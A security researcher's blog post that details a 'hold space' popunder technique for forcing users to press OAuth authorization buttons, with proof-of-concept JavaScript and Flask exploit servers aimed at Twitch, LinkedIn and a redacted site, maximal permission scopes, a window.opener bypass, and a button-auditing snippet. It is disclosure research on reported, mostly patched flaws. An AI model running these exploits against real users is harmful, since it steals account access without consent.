Browsers have piqued my interest recently, and through a combination of some existing research and my own experiments, I present you quite a sneaky way to force users to press buttons. The most common dangerous button is an OAuth authorization confirmation, where a single press of the 'allow' button could give away your account to some malicious application. This exploit idea, although previously explored and shared, was still active on a few major sites like Twitch, LinkedIn and one more company I'll name Redacted.
Expanding the proof-of-concept with an effective popunder to hide malicious activity, it quickly becomes a convincing attack. All by the victim simply holding a button on their keyboard.
The Idea
Let's start with where this idea came from. Some time back when playing the Corporate HackTheBox machine, I got a little carried away with trying a weird idea. The box had a chromium bot that would look at messages sent via a chat functionality. These messages could include HTML, but a Content-Security-Policy (CSP) would prevent simple XSS. I did notice that using a <meta>
tag, it was possible to redirect it to my domain and gain more control over what it sees.
I wanted to try opening more windows from my site using window.open()
, but I remembered that you need user interaction to do that, otherwise the popup blocker gets in the way (PS. this is not actually true for headless browsers I later learned, always test your assumptions!). I wanted to get the bot to click on a button on my site to count as an interaction, so I tried registering a simple onclick=
handler on the document, but expectedly, the bot didn't click anything.
That's where my weird idea came to mind. I knew the bot was supposed to type out a message after I sent it my payload, so would it continue typing after being redirected to my site? When testing, it turns out it does and I could capture its keystrokes! Even better than that, its sentences contain spaces which are able to press buttons when focussed through TAB or autofocus
. So, I put an autofocus attribute on my button with an onclick handler, and when the bot got redirected, sure enough, the click event would be triggered and a new window would open.
While not helping solve the box at all, I did find it quite clever, but in the end didn't do much more with it. This is until recently in February when a new awesome piece of research was shared by Paulos Yibelo:
Experiments
The post from Paulos explains a few ideas from messing with popup windows and inspired me to start some experiments of my own to improve upon them. The first was the "Sandwich Technique", where you open two windows on top of each other, the topmost one being an attacker's window and the middle one being the target with a sensitive button. By knowing the button's position and where the middle window will appear behind the larger window, you can place a button right where the user should click on the topmost window. By telling the user to double-click this topmost button, you will actually close it after the first press, causing their second press to be on the now-visible middle window, clicking the target button.
One improvement I wanted to make was dynamically moving the middle window to the mouse position so that the user could double-click anywhere on the topmost page, and it would click through to the target window that just moved to where you clicked. This is possible using the .moveTo()
method on a popup. Additionally, telling the user to click their mouse repeatedly as in a game instead of hoping for a first-try double-click will make it more consistent and likely that they will make the click after the topmost window closes itself.
This video shows the result of this:
Source code: popup-research/experiments/click-through
Another trick shown in the research above that the rest of this post will focus on is using the id=
attribute on buttons. If the hash (#
) of a URL matches any id=
attribute value on the page, that element is scrolled to. If the element is a button or input, it is focused! The cool thing that makes this exploitable is the fact that any focused button can now be pressed by pushing the Spacebar on your keyboard. This even works if you are holding space while you are being redirected to the target page with a #
in the URL. The moment the page loads, the button is focused, and holding space causes the "button press" action to start. The moment you let go of your spacebar now, the action is "finished" and the button is pressed, triggering anything sensitive the button is supposed to do.
By holding the enter key instead of space, the attack works even better. This doesn't wait until you let go of enter, instead, it will immediately send the "press" action and do whatever the button is supposed to do while the user is still holding their key. To make it less obvious, the whole exploit is done inside a tiny popup window which makes it less visible and can .close()
after the exploit is done.
One thing still bothering me was the fact that on a slow page/connection, the user needs to keep holding their space/enter key until the button is loaded and focused. They may notice the strange popup window and release the button out of fear, blocking the attack. One could try speeding up the loading with Prerendering but some sites even intentionally make the allow button show up later with a timer, presumably to prevent this exact attack.
I realized that while holding the key, you are effectively giving the site infinite user interactions because whenever you hold a key for a small second, it starts to repeatedly send keypresses for that key. These repeated presses count as interactions that allow repeated window.open()
calls that would normally be gated by user activation and need new activation every time they are called. It's possible to do all kinds of popup shenanigans when the popup blocker is not in the way.
New Trick: Popunder
The user holding space gives us infinite interactions, so the popup blocker isn't in the way. This subtle user activation mechanism has a few more implications, namely focusing windows. There is the intuitive window.focus() method that should allow you to focus any window reference. In reality, this method very rarely works and you should definitely not rely on it from my experience.
There is another more obscure way of focusing a window: using the target
argument of window.open(url, target, windowFeatures)
. This specifies the name of the tab/popup. If a browsing context with the same name already exists, and it is related to the caller browsing context, it is reused. To show what this means we will do two calls to window.open()
, which would normally open two new popup windows. When giving them the same name, however, the second call will overwrite the first window:
clicks = 0;
onclick = () => {
switch (++clicks) {
case 1:
window.open("https://example.com", "name1", "popup");
break;
case 2:
window.open("https://example.com/2", "name1", "popup");
break;
}
}
When clicking twice on a page hosting the above code, the first click will open a popup window to https://example.com. The second click will cause the open popup window to redirect to /2
, and gain focus. Going one step further, by putting #2
instead of /2
in the above example, the popup doesn't reload at all the second time and only gains focus, rewriting the URL with the hash appended.
This same behavior can be replicated by not changing the hash, but instead trying to replace the window with an invalid address (eg. invalid://
). By also specifying the name there, it will try to re-use and focus the existing window with that name but it can't set the invalid address, so it keeps the old one. This is effectively a way to focus an arbitrary window now.
Crucially, this is only possible with user activation (eg. clicking). If it was possible to focus any window reference at any time, popunders would be a thing, and browsers try very hard for that not to be a thing (context). A popunder is any way to take a single user activation and make it generate a popup behind the current window. We can try to see what happens if we try to window.open()
the main window's name from the popup, with and without a second interaction:
window.name = "main";
const blob = new Blob([`<script>
onclick = () => {
document.body.innerText += "clicked\\n"
}
setTimeout(() => {
window.open("invalid://", "main")
document.body.innerText += "window.open() called\\n"
}, 5000)
</script>`], { type: "text/html" });
const url = URL.createObjectURL(blob);
onclick = () => {
window.open(url, "popup", "popup");
}
As you can see, the click inside the popup is required for the focus to go back to the main window. Luckily for us, we just found out that holding a key gives infinite interactions, so this isn't a problem anymore. As soon as the onkeydown
event fires inside the popup, we can go back to the main window, hopefully quickly enough without the victim noticing.
This gives us effectively a popunder, a popup underneath the main window. We still have a reference to this popup, so we can now redirect it to a target website (using w.location = ...
). We will start to combine it with the button press technique from earlier. The beautiful part now is that the target website and its OAuth screen may load for however long they want since that all happens in the background. Only when we have waited long enough for the site to fully load in, will we focus back to the popup which now instantly presses the focused button.
If the target button doesn't exist yet right when the page loads, the focus won't be placed on it when opening the window again with the invalid://
method. Luckily, it's possible to scroll to or focus an element by specifying its id=
in the hash (#
) even after the page already loaded! By just changing the hash we can select any element at any time. One strange caveat with this is that we can't just "change the hash", we need to set a full URL in the window.open()
call or .location =
, otherwise the page reloads. Therefore we must know the target page's full URL after it has loaded in the target button. In most cases this URL doesn't change, however, so we can just use the original URL again that was also used to initially "preload" the target in the background.
Below is a simple proof-of-concept, where the target website (127.0.0.1:8000) has a button that only comes into existence after 1 second. The goal is to click this button without the user noticing too much.
The attacker's site (localhost:8000) will now tell the user to hold their spacebar, and while doing so, use some of the first interactions to quickly open a window and immediately use the next interaction to focus back on the main window. After this, we redirect the backgrounded popup to the target site and wait for it to load, after which we finally focus the popup window again. This has now loaded, and we will immediately focus the dangerous button, giving the victim no time to react.
The code to make this work is a combination of the experiments above.
Source code: popup-research/experiments/popunder
Real World
With this new exploit idea in mind, I wanted to try and look for a vulnerable target in the real world. Not only for the vulnerabilities themselves but also to learn more about edge cases that I hadn't thought about in my experiments. I ended up with 3 pretty popular targets that were still vulnerable to this even after Paulos's research dropped in February. Using my new trick the proof of concept good was enough to convince (most of) the targets to patch it.
So what do we look for? It is quite simple really, any <button>
or <input type=submit>
element with an id=
attribute. Anything matching these requirements is able to be pressed by holding space. The only limiting factor is what impact the vulnerable buttons have, just opening your profile menu isn't interesting, but allowing an OAuth authorization is. Therefore, I went looking for the latter as the impact for a vulnerable button was instantly an account takeover depending on how flexible the API for authorized applications is.
OAuth works like this: If you have an account on site A that implements OAuth, a different site B can do 2 relevant things. The first is an authentication where you can get proof of site A that the user owns some username or email address. This is often used for "Sign in with site A" functionality. Second, there is authorization where site B gets some access to your account on site A. This is often done with gradual permissions and requires the user to manually accept the authorization as you are giving site B (partial) access to your account.
One tricky part of testing specifically the OAuth flow is that you need to set up an OAuth application and authorization URL yourself to be able to check if the allow button is vulnerable. I wasn't planning on setting that up 30 times on different sites all with their unique documentation to read, so instead I looked for an indicator that may show it would be possible, and the effort of checking would be often worth it.
Apart from OAuth authorization, many sites also implement OAuth authentication where you use one account to log into a different site, like "Sign in with Google". These were much easier to find as I could just look for sites that have already implemented this, such as https://medium.com/m/signin. By just clicking any of these sign-in buttons, and having an account, a very similar prompt to an authorization would take place. Only asking if I want to log in to Medium with my "Google" account. The button to allow this is likely to be similar to the real authorization we want to target. If this button has an id=
, we should spend the time to set up their OAuth implementation and check it, otherwise maybe skip it to save some effort.
All successful "sign in with" checks I did turned out the be vulnerable after setting up OAuth, so it appears to be a good indicator. Just keep in mind that you may miss vulnerable sites where their sign-in implementation is different from authorization.
Twitch
Starting with the simplest one: Twitch. This streaming platform has a lot of features for developers as app integrations into the stream are commonplace. One app I expected to have a "Log in with Twitch" button was Streamlabs, and sure enough, we can sign in with a Twitch account. What's even better is the fact that their implementation already uses the /authorize
endpoint asking for some permissions to manage the account. We'll know for sure if this will be vulnerable when implementing the OAuth flow ourselves.
Checking the button with Inspect Element we see no id=
attribute, unfortunately, instead, we see something even better: autofocus
! If we would reload the page and press space once without doing anything else, it goes through with the authorization giving Streamlabs access to the account with the permissions shown.
Now we just do the same, set up an application on Twitch's Developer platform, and make a simple server that handles the OAuth authorization flow. This is documented as the "Authorization code grant flow" and shows what parameters the /oauth2/authorize
requires:
client_id
: The Client ID parameter shown after creating an application in the developer platformredirect_uri
: URL to redirect to after the user authorized, this will contain the authorization code. Must be in the list of allowed Redirect URLs of the applicationresponse_type
: Must be set to "code"scope
: List of permissions the user will agree tostate
: Optionally set this to a random value, used for preventing CSRF in real applications
Inside the developer platform, we need to create an application to receive a Client ID. The redirect_uri
parameter must be configured in this application as well, a simple /callback
URL will do. This endpoint will receive the authorization code and deal with the rest server-side. Lastly, we should set the list of scopes to be whatever we want from the account. In a regular flow, the user would see a bunch of permissions and have to carefully review them before allowing it. But in our case, the whole point is that the user doesn't see what they're agreeing to, so we can set this as wide as we can. For example:
channel:read:stream_key
: View an authorized user's stream key.channel:manage:moderators
: Add or remove the moderator role from users in your channel.user:edit
: Manage a user object.user:manage:whispers
: Receive whispers sent to your user, and send whispers on your user's behalf.
The URL with all parameters will look something like this:
On the backend, we need to handle the /callback
URL. When following the flow we can see that it receives a ?code=
query parameter, which we can then turn into an access token using the /oauth2/token
endpoint:
@app.route("/callback")
def callback():
code = request.args.get("code")
r = requests.post("https://id.twitch.tv/oauth2/token", data={
"grant_type": "authorization_code",
"code": code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"client_secret": CLIENT_SECRET
})
session["access_token"] = r.json().get("access_token")
Note that during this step on the server side, you need the Client Secret. This is a secret that you can only see once while creating the application in the developer portal and should not be leaked. With the access token, we can now call any APIs we requested in the scope=
parameter, such as reading the stream key or managing the account. For the purposes of the proof-of-concept, I opted for only requesting the user's email:
@app.route("/")
def index():
if session.get("access_token"):
access_token = session.get("access_token")
r = requests.get("https://api.twitch.tv/helix/users", headers={
"Authorization": f"Bearer {access_token}",
"Client-Id": CLIENT_ID
})
return jsonify(r.json())
Now that all is set, we can combine it with the holding space trick. We will trick the user into holding space, and then open the OAuth authorization URL inside the popup window. Then, autofocus
will cause the space press when focusing the popup window to press the "Authorize" button, and our application receives an authentication code which it can exchange for an access token and request APIs with.
Below is a demo showing it in action, together with the exploit server source code for this proof of concept:
Source code: popup-research/real-world-pocs/twitch
The next target is LinkedIn, a website many professionals use to share about their careers. It was hard to find an online "Sign in with LinkedIn" button to test it without having to implement it myself, but eventually, I found one hidden away on Salesforce. By clicking Login, then Trailblazer Account, followed by View more options we can finally see LinkedIn.
Instead of autofocus
like Twitch, LinkedIn has an id="oauth__auth-form__submit-btn"
attribute. We prepared for this exact scenario in the experiments before, and now know that putting #oauth__auth-form__submit-btn
in the URL bar will focus the button. All that's left is implementing the OAuth flow again and editing the proof-of-concept.
What we're looking for is "Authorization Code Flow (3-legged OAuth)". This is documented well and even has a diagram showing the order of steps and parties involved:
We start in the LinkedIn Developer Portal again by creating an application. This gives us a Client ID and Client Secret. Before being able to use it for OAuth, the "Sign In with LinkedIn using OpenID Connect" product needs to be added to the application by requesting access to it, but this access was granted instantly. This gives us the openid
scope that we will put into the authorization URL later. As a last step in the developer portal, we need to add a Redirect URL again to receive the callback with the authorization token on:
Following the documentation we can create a URL for authorization with the client_id
, our redirect_uri
, and the scope
containing a list of permissions to request. Some interesting permissions include:
w_member_social
: Post, comment, and like posts on behalf of an authenticated memberrw_organization_admin
: Retrieve an authenticated member's company pages and their reporting datarw_ads
: Manage and read an authenticated member's ad accounts
For the proof-of-concept, I opted to simply read the email address again with profile
and email
scopes:
After allowing the authorization, the code is sent to /callback
and can be turned into an access token:
r = requests.post("https://www.linkedin.com/oauth/v2/accessToken", data={
"grant_type": "authorization_code",
"code": code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"client_secret": CLIENT_SECRET
})
After which, the /v2/userinfo
is an example API that returns some information about the user who authorized the application:
r = requests.get("https://api.linkedin.com/v2/userinfo", headers={
"Authorization": f"Bearer {access_token}"
})
We will once again make an exploit server that implements this logic, as well as the HTML page that will tell the user to hold space. In the popup, we will include #oauth__auth-form__submit-btn
to automatically focus the button, so that when we focus the popup, the authorization is quickly granted without the user noticing.
Below is a demo showing it in action, together with the exploit server source code for this proof of concept:
Source code: popup-research/real-world-pocs/linkedin
I want to say that LinkedIn was by far the best to work with out of the 3 vulnerable targets. It was quickly acknowledged after reporting through their HackerOne page and resolved soon thereafter. Would hack again!
Redacted
The last target is Redacted, it's a shame I could not get permission to include the real name in this post because especially this target had interesting edge cases worth explaining. We'll go with redacted.tld
for now. The heuristic used this time was another "Sign in with Redacted" button. This brings you to an authorization page with an id="allow"
attribute on the button:
So as we've learned, we can automatically focus this button by adding #allow
to the URL, and then press space to confirm the button. An interesting change is the fact that it uses OAuth 1.0 instead of OAuth 2.0 which was the standard used in my previous examples.
The documentation explains how to implement a "3-legged OAuth flow" for this OAuth 1.0 API. The whole flow is more complicated than OAuth 2.0, and quite a hassle to implement. Luckily the requests-oauthlib
library has implemented this already with a simple interface to handle all the complicated communication. It has built-in implementations for the most popular OAuth 1.0 providers, but Redacted wasn't one of them so we have to specify some custom URLs it uses, but it already makes the whole code a lot simpler.
First, we have to set up an application in the Developer Portal again. For OAuth 1.0, there are no "scope"-type permissions per authorization, you set the permissions generally for your whole app. The option with the most access is Read and write, which we obviously take. Then all that's left is adding a Redirect URL again to the /callback
endpoint, and we are good to go.
On the server, we will generate an authorization URL, but this time we have to first request an oauth token from the Redacted backend:
oauth_session = OAuth1Session(CONSUMER_KEY, client_secret=CONSUMER_SECRET)
request_token_url = 'https://api.redacted.tld/oauth/...'
token = oauth_session.fetch_request_token(request_token_url)["oauth_token"]
url = f"https://api.redacted.tld/oauth/...?oauth_token={token}"
This is the URL we will force the user to visit and confirm by adding #allow
while they are holding space. After this, a callback is sent to /callback
. We take the URL and give it to OAuth1Session
which extracts the relevant parameters:
@app.route("/callback")
def callback():
oauth_session = OAuth1Session(CONSUMER_KEY, client_secret=CONSUMER_SECRET)
oauth_session.parse_authorization_response(request.url)
session["token"] = oauth_session.fetch_access_token(
'https://api.redacted.tld/oauth/...')
Finally, we use the access token to request any of the v1 APIs. OAuth 1.0 doesn't have scopes like OAuth 2.0 does, so we will automatically have access to all APIs, giving the attacker access to almost the complete functionality of the Redacted application.
For this proof of concept, we can request the user's profile information via /profile_info
:
@app.route("/")
def index():
oauth_session = OAuth1Session(CONSUMER_KEY, client_secret=CONSUMER_SECRET)
if session.get("token"):
oauth_session.token = session.get("token")
url = "https://api.redacted.tld/profile_info"
response = oauth_session.get(url)
return jsonify(response.json())
While this works, one strange thing happens when opening the /oauth/...
page in a tiny popup in the bottom right corner. Right after it loads, it suddenly resizes to take up the full height of the screen, making it obvious what is happening to the user. Searching for the resizeTo()
function, we find this snippet responsible for the behavior:
window.opener && $(document).ready(function() {
var e = document.createElement("base")
, t = 170
, n = document.getElementById("bd")
, r = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight
, i = window.outerHeight || r + 60
, s = window.innerWidth || document.documentElement.clientWidth + 29 || document.body.clientWidth + 29;
r < n.offsetHeight + t && window.resizeTo(s, n.offsetHeight + (i - r) + t),
e.target = "_blank",
document.getElementsByTagName("head")[0].appendChild(e),
$(".button.cancel").click(function() {
return window.close(),
!1
})
}),
The #bd
element encapsulates the entire content of the page. Essentially, this code checks to see if the content fits in the height of the popup, and otherwise, it resizes itself to fit the content. You may think we with a window reference can just call .resizeTo()
again to reset it, but this API is actually only available when the caller and target are same-origin. We will get the following error:
Uncaught SecurityError: Failed to read a named property 'resizeTo' from 'Window': Blocked a frame with origin "http://127.0.0.1:5000" from accessing a cross-origin frame.
Luckily for us, there is an important conditional in the code: only if window.opener
is true, the second part of the &&
is evaluated. If we can make the opener
be something like null
as it would be when navigating to it regularly, we would bypass the check.
You may know that the opener
property can also be used offensively in attacks like Reverse Tabnabbing. You used to have to prevent these attacks by adding rel="noopener"
to links to prevent them from being able to access you as the opener
.
We can use this security feature to prevent Redacted from seeing us as the opener, making it null
. Right when we have the popup under our control and another keydown
event is sent to the popup, we normally redirect to the target. Now right before this, we can set opener = null
while the popup is still under our control. This will cause the opener to remain empty after the redirect, as we are now permanently detached from the main window. Redacted will try to look for window.opener
, find it is null
, and not try to resize it. This makes the exploit work just as we hoped.
onkeydown = (e) => {
window.open("invalid://", "main");
opener = null;
location = "${target.split("#")[0]}"
};
Below is the last demo showing it in action, together with the exploit server source code for this proof of concept:
Source code: popup-research/real-world-pocs/redacted
Conclusion
I hope you can see how easy it is for websites to make this mistake. Adding an innocent-looking id=
attribute to <button>
or <input type="submit">
elements can cause them to be pressable without the user intending to via the hold-space exploit.
You should always check IDs on buttons that may do sensitive things, like OAuth, but definitely not limited to just OAuth. Other ideas may include sharing access with an attacker, deleting something, or verifying something. It is very similar to CSRF vulnerabilities in this way.
To easily check on any page if the buttons are vulnerable, you can check the sensitive buttons manually or use the following script that makes all hackable buttons blink red, to give you ideas. Simply run this in the DevTools Console:
// Make all hackable buttons blink red
document.querySelectorAll("button[id],input[type=submit][id]")
.forEach(elem => {
console.log(elem);
clearInterval(elem.interval);
elem.interval = setInterval(() => {
color = elem.style.background
elem.style.background = "red" // Set inverted color every 1s
setTimeout(() => {
elem.style.background = color // Revert 0.5s later
}, 500)
}, 1000)
})
With the exploit template, this vulnerability is pretty easy the exploit. The hardest part is setting up OAuth if that is the type of button you are targeting, which requires reading some documentation of your target, but most implementations are very similar.
One could improve upon this technique even further by coming up with more creative ways of convincing a user to hold space on your site and to distract them while the popunder flashes for a brief moment. Some sort of game where you charge up an attack, or even a typing game could work well (similar to my experiment here). The initial popunder trick only requires 2 keydown
events in quick succession, before finishing the attack with one more keydown
and then a space press.
I hope you'll be able to apply this to any targets and would love to hear your success stories as well as further improvements on the interesting rules around popups in the browser.